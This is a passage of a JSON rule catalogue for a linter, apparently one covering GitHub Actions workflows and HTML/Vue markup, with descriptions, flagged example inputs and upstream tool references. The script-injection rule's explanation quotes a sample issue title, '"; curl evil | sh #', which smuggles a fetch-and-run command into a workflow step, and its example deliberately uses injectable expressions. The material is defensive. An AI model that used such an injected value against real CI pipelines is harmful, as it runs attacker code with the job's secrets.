        "input": "jobs:\n  a:\n    steps:\n      - run: echo \"${{ github.event.issue.title }}\"\n      - run: |\n          echo ${{ github.head_ref }}\n          echo ${{ github.event.commits[0].message }} ${{ github.sha }}\n      - name: ${{ github.event.issue.title }}\n        run: echo \"$TITLE\"\n        env:\n          TITLE: ${{ github.event.issue.title }}\n      - run: echo '${{ toJSON(github.event.*.body) }}'\n      - uses: actions/github-script@v7\n        with:\n          script: console.log('${{ github.event.head_commit.message }}')\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 24,
            "length": 24,
            "line": 4
          },
          {
            "column": 20,
            "length": 15,
            "line": 6
          },
          {
            "column": 20,
            "length": 31,
            "line": 7
          },
          {
            "column": 31,
            "length": 19,
            "line": 12
          },
          {
            "column": 36,
            "length": 32,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "script-injection",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "expression/untrusted",
          "note": "The contexts are a fixed list.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#untrusted-inputs"
        }
      ],
      "why": "The runner replaces the `${{ }}` expression with its value before the shell sees the script. A title like `\"; curl evil | sh #` becomes part of the script and runs with the job's token and secrets.\n\nTo fix, pass the value through an environment variable (`env:`) and read `\"$VAR\"` in the script."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a `needs` entry that names a job that the workflow does not define.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  build:\n    runs-on: ubuntu-latest\n  test:\n    needs: build\n    runs-on: ubuntu-latest\n  deploy:\n    needs: [Build, test, lint]\n    runs-on: ubuntu-latest\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "unknown-needs",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "job-needs/unknown",
          "partial": false,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-job-deps"
        }
      ],
      "why": "GitHub rejects the workflow. The usual cause is a job that was renamed or removed while another still waits for it.\n\nTo fix, correct the name, or remove it from `needs`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a key that a section does not have, a required key or section that is missing, a section of the wrong kind (a list where a map is needed), or an empty one.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on: push\nenv:\n  A: 1\n  a: 2\njobs:\n  build:\n    runs-on: ubuntu-latest\n    stepz: []\n    steps:\n      - run: echo hi\n        uses: actions/checkout@v4\n      - name: nothing\n      - uses: actions/checkout@v4\n        timeout-minutes: 0\n    container:\n      image: ''\n  none:\n    runs-on: ubuntu-latest\n    container: null\n    steps:\n      - run: echo\n  empty:\n    steps:\n      -\n  matrix:\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        os: [a, b, a]\n        exclude:\n          - os: c\n          - arch: x\n    steps:\n      - run: echo\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 4
          },
          {
            "column": 5,
            "length": 5,
            "line": 8
          },
          {
            "column": 9,
            "length": 3,
            "line": 10
          },
          {
            "column": 9,
            "length": 13,
            "line": 12
          },
          {
            "column": 26,
            "length": 1,
            "line": 14
          },
          {
            "column": 14,
            "length": 2,
            "line": 16
          },
          {
            "column": 3,
            "length": 5,
            "line": 22
          },
          {
            "column": 7,
            "length": 1,
            "line": 24
          },
          {
            "column": 7,
            "length": 1,
            "line": 24
          },
          {
            "column": 20,
            "length": 1,
            "line": 29
          },
          {
            "column": 17,
            "length": 1,
            "line": 31
          },
          {
            "column": 13,
            "length": 4,
            "line": 32
          }
        ]
      },
      "fix": null,
      "id": "workflow-syntax",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "matrix",
          "note": "Duplicate values, and excluded keys or values no combination has (the types of values are compared structurally).",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-matrix-values"
        },
        {
          "id": "id/step",
          "note": "The characters of a step id.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-job-step-ids"
        },
        {
          "id": "credentials",
          "note": "A password of a container or service credentials that is not an expression.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-hardcoded-credentials"
        },
        {
          "id": "workflow-call",
          "note": "The format of the `uses` of a reusable workflow call; not its inputs and secrets (they need the called file).",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-reusable-workflows"
        },
        {
          "id": "syntax-check/unexpected-key",
          "note": "An unknown key of a section.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-unexpected-keys"
        },
        {
          "id": "syntax-check/empty",
          "note": "A section or string that is empty.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-empty-mapping"
        },
        {
          "id": "syntax-check/missing-key",
          "note": "A required key or section that is missing.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-missing-required-duplicate-keys"
        },
        {
          "id": "syntax-check/kind",
          "note": "A section of the wrong kind.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-mapping-values"
        },
        {
          "id": "syntax-check/expression-value",
          "note": "A value that must be a single expression or a literal.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-syntax-expression"
        },
        {
          "id": "syntax-check/number",
          "note": "A number that must be above zero.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-mapping-values"
        },
        {
          "id": "syntax-check",
          "note": "The keys, kinds and required keys of the workflow, jobs, steps and the sections around them (rows in `lang-github-actions/src/shape.rs`); not the values that need other files.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md"
        },
        {
          "id": "syntax-check/duplicate-key",
          "note": "partial",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-missing-required-duplicate-keys"
        }
      ],
      "why": "The mistake shows only after the workflow is pushed, when it does not start or does not do what the file seems to say.\n\nTo fix, correct the key, or add what is missing."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `<area>` that has an `href` and no non-empty `alt`, and an `<area>` that has an `alt` but no `href`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 15,
            "length": 1,
            "line": 11
          },
          {
            "column": 54,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "area-alt",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "area-alt",
          "note": "each area is checked alone, without the accessible option or the alt of an area with the same target",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/area-alt.html"
        }
      ],
      "why": "The `alt` of an `<area>` is the name of its link in the image map, and the only text a screen reader has for it. An `alt` on an area with no `href` names nothing, because the area is not a link.\n\nTo fix, give each linked area an `alt` that says where the link goes, and remove the `alt` from areas without an `href`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports `aria-hidden=\"true\"` on `<body>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          7,
          10,
          12,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "aria-hidden-body",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "no-aria-hidden-body",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-aria-hidden-body"
        },
        {
          "id": "aria-hidden-body",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/aria-hidden-body.html"
        }
      ],
      "why": "The attribute removes an element and all of its content from the accessibility tree, so on `<body>` the whole page is hidden from screen readers while it still shows on screen.\n\nTo fix, remove the attribute. To hide only a part of the page, put it on that part."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `aria-label` on an element that cannot be named by it: a generic element (`<div>`, `<span>`, `<p>`, `<b>`, ...) with no role, and an `<a>` without `href`. Interactive elements, landmarks and elements with a `role` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          12,
          13,
          15,
          16,
          18,
          21,
          22,
          23,
          24,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 6,
            "length": 14,
            "line": 17
          },
          {
            "column": 4,
            "length": 14,
            "line": 19
          }
        ]
      },
      "fix": null,
      "id": "aria-label-misuse",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "aria-label-misuse",
          "note": "generic elements and a without href; the strictly-allowed-but-not-recommended cases and allowAnyNamable are not reported",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/aria-label-misuse.html"
        }
      ],
      "why": "Assistive technology ignores a label on an element that has no role, so the text is never read, and the author believes the element is described when it is not.\n\nTo fix, give the element a role (or use a native element that has one), or move the text into the content."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute name that is not in lowercase (`CLASS=\"a\"`). Everything inside `<svg>` and `<math>` keeps its case and is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          6,
          7,
          9,
          11
        ],
        "spans": [
          {
            "column": 4,
            "length": 5,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "attr-case",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint"
      ],
      "upstream": [
        {
          "id": "attr-case",
          "note": "lowercase only, without the style and ignoreForeign options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attr-case.html"
        },
        {
          "id": "attr-lowercase",
          "partial": false,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/attr-lowercase.mdx"
        }
      ],
      "why": "HTML reads attribute names without regard to case, so the capitals change nothing for the browser. They only make one file spell the same name two ways, which breaks searches and makes the markup look inconsistent.\n\nTo fix, write the name in lowercase."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports white space around the `=` between an attribute name and its value (`class = \"a\"`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          6,
          7,
          9,
          11
        ],
        "spans": [
          {
            "column": 14,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "attr-delimiter",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-spaces-around-equal-signs-in-attribute",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-spaces-around-equal-signs-in-attribute/"
        },
        {
          "id": "no-spaces-around-equal-signs-in-attribute",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-spaces-around-equal-signs-in-attribute.html"
        },
        {
          "id": "attr-delimiter",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attr-delimiter.html"
        }
      ],
      "why": "The spaces are valid, but few tools and readers expect them, and a line like `a = b c = d` is hard to split into attributes at a glance.\n\nTo fix, write `name=\"value\"` with nothing around the `=`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute name that does not match the option `pattern`, a regex that by default allows letters, digits, `-` and `:` in either case. An underscore, for example, is reported (`data_x`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<p id=\"fooBar\" class=\"ok fooBar x_y\"></p>\n<p id=\"foo-bar\"></p>\n<p id=\"1a\"></p>\n<input name=\"fooBar\">\n<input name=\"foo_bar\">\n<input name=\"foo[]\">\n<p fooBar=\"x\" data-X=\"y\" a_b=\"c\"></p>\n",
        "language": "html",
        "other_lines": [
          3,
          5,
          7
        ],
        "spans": [
          {
            "column": 26,
            "length": 3,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "attr-pattern",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [
        {
          "default": "(?i)^[a-z0-9:-]+$",
          "description": "The regex the value must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "attr-pattern",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attr-pattern.html"
        }
      ],
      "why": "A naming rule for attributes keeps custom data attributes and framework attributes uniform. A name outside the usual character set is most often a typing error that the browser silently accepts as a new attribute.\n\nTo fix, rename the attribute, or change the pattern."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute value that is not quoted with `\"`: a value with no quotes (`class=a`), and a value in `'` unless it holds a `\"` (`class='a'`). In Svelte, `name={expression}` is not reported, because the braces are the syntax.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          6,
          7,
          9,
          11
        ],
        "spans": [
          {
            "column": 23,
            "length": 9,
            "line": 5
          },
          {
            "column": 33,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "attr-quotes",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended",
        "html/htmlhint",
        "html/html-eslint-recommended",
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "html-quotes",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/html-quotes/"
        },
        {
          "id": "html-quotes",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/html-quotes.html"
        },
        {
          "id": "quotes",
          "note": "a single-quoted value that holds a double quote is allowed; unquoted values are reported",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/quotes"
        },
        {
          "id": "attr-quotes",
          "note": "the auto style only, without the style and unquoted options",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attr-quotes.html"
        },
        {
          "id": "attr-value-double-quotes",
          "note": "a single-quoted value that holds a double quote is allowed",
          "partial": true,
          "tool": "htmlhint",
          "url": "https://github.com/htmlhint/HTMLHint/blob/v1.9.2/website/src/content/docs/rules/attr-value-double-quotes.mdx"
        }
      ],
      "why": "An unquoted value ends at the first space or `>`, so a later edit that adds a word to the value changes the markup. One quote style keeps the files uniform and the diffs small.\n\nTo fix, quote the value with `\"`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a quoted attribute value that is directly followed by the next attribute, with no white space between them (`class=\"a\"id=\"b\"`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<P CLASS=\"a\" id = \"b\" title='c' data-x=d>x</P>\n<a href=\"x\"class=\"y\">t</a>\n<p title='say \"hi\"' style=\"color: red\">ok</p>\n<p style=\"display: none\">ok</p>\n<br/>\n<br>\n<div />\n<svg viewBox=\"0 0 1 1\"><linearGradient gradientUnits=\"x\"></linearGradient></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          7,
          9,
          11
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "attr-spacing",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "attr-spacing",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attr-spacing.html"
        }
      ],
      "why": "Parsers accept it with an error, and many tools read it differently. Two attributes stuck together are hard to read and are usually a missing space from an edit.\n\nTo fix, put a space between the attributes."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an attribute whose value is not one of the values HTML allows for it on that element, for attributes with a fixed list such as `type` of `<button>` (`button`, `submit`, `reset`) and `method` of `<form>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          7,
          8,
          9,
          10,
          11,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 9,
            "length": 4,
            "line": 17
          },
          {
            "column": 7,
            "length": 6,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "attribute-allowed-values",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "no-invalid-attr-value",
          "note": "the values html-validate lists for an attribute; `id` and other pattern values are not checked",
          "partial": true,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/no-invalid-attr-value"
        },
        {
          "id": "attribute-allowed-values",
          "note": "values given as a pattern in the metadata (`id`) are not checked",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attribute-allowed-values.html"
        }
      ],
      "why": "A browser that meets a value it does not know falls back to a default, which is not what the author wrote: `type=\"foo\"` on a button makes a submit button, and the typo is never shown.\n\nTo fix, use one of the allowed values."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a boolean attribute that is written with a value (`disabled=\"disabled\"`, `disabled=\"\"`). The attribute is true when it is present.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          7,
          8,
          9,
          10,
          11,
          13,
          15,
          17,
          18
        ],
        "spans": [
          {
            "column": 24,
            "length": 7,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "attribute-boolean-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "attribute-boolean-style",
          "note": "the omit style only, without the style option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attribute-boolean-style.html"
        }
      ],
      "why": "The value of a boolean attribute is not read: `muted=\"false\"` still mutes. A value that looks like a switch invites that error, and the longer form says nothing more.\n\nTo fix, write the attribute alone (`disabled`). To turn it off, remove it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute whose empty value means the same as no value (`hidden=\"\"`, `crossorigin=\"\"`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html>\n<head>\n<title>x</title>\n</head>\n<body>\n<blink2>x</blink2>\n<my-element>x</my-element>\n<center>x</center>\n<div align=\"center\">x</div>\n<img>\n<img src=\"a.png\" alt=\"\">\n<iframe src=\"a.html\"></iframe>\n<input type=\"checkbox\" checked=\"checked\" disabled>\n<p hidden=\"\">x</p>\n<p hidden>x</p>\n<button type=\"send\">Go</button>\n<form method=\"put\"></form>\n<svg><foo></foo></svg>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          2,
          7,
          8,
          9,
          10,
          11,
          13,
          14,
          17,
          18
        ],
        "spans": [
          {
            "column": 4,
            "length": 6,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "attribute-empty-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "attribute-empty-style",
          "note": "the omit style only, without the style option",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/attribute-empty-style.html"
        }
      ],
      "why": "`=\"\"` adds characters and no meaning, and the two spellings of the same thing make the files inconsistent.\n\nTo fix, write the attribute without `=\"\"`."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports a prop of a component that is written in camelCase (`:cardTitle`). A component is a tag in PascalCase or with a hyphen; HTML and SVG elements are not checked. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": "<template>\n  <MyCard :title=\"t\" @click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template #head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "input": "<template>\n  <MyCard v-bind:title=\"t\" v-on:click=\"go\" :cardTitle=\"c\" cardSub=\"s\" my-prop=\"p\"\n    :ok=\"1\"\n    :cardOther=\"o\">\n    <template v-slot:head>h</template>\n    <template v-slot=\"p\">d</template>\n  </MyCard>\n  <svg :viewBox=\"v\"></svg>\n</template>\n",
        "language": "vue",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 44,
            "length": 10,
            "line": 2
          },
          {
            "column": 59,
            "length": 7,
            "line": 2
          },
          {
            "column": 5,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "attribute-hyphenation",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "attribute-hyphenation",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/attribute-hyphenation.html"
        }
      ],
      "why": "In a template the HTML parser lowercases attribute names, so only kebab-case reads the same in every kind of template, and one style keeps the props easy to search for.\n\nTo fix, write the prop in kebab-case (`:card-title`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute that is out of the recommended order: `is`, `v-for`, conditions (`v-if`, `v-else-if`, `v-else`, `v-show`), `v-pre` and `v-once`, `id`, `ref`, `key` and slots, `v-model`, other directives, plain and bound attributes, events, and `v-html` and `v-text` last. A bare `v-bind=\"object\"` takes the place of the attribute it precedes. The order is not alphabetical. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <div></div>\n    <img />\n    <img>\n    <div />\n    <div>text</div>\n    <MyCard></MyCard>\n    <svg><path d=\"M0\"></path></svg>\n    <a @click=\"go\" :href=\"u\" v-if=\"ok\">x</a>\n    <a v-if=\"ok\" :href=\"u\" @click=\"go\">x</a>\n    <input v-bind=\"props\" :id=\"i\" v-model=\"m\">\n    <MyCard @cardOpen=\"go\" @card-close=\"go\" @click=\"go\" />\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          4,
          8,
          9,
          13
        ],
        "spans": [
          {
            "column": 20,
            "length": 5,
            "line": 10
          },
          {
            "column": 30,
            "length": 4,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "attributes-order",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "attributes-order",
          "note": "the default order, no `alphabetical`, `order` or `sortLineLength` option, no fix",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/attributes-order.html"
        }
      ],
      "why": "A fixed order puts the directives that decide whether and how often an element exists first, so a reader sees at once what the element is before they read how it looks.\n\nTo fix, move the attribute to its place in the order."
    },
    {
      "category": "correctness",
      "default_level": "error",
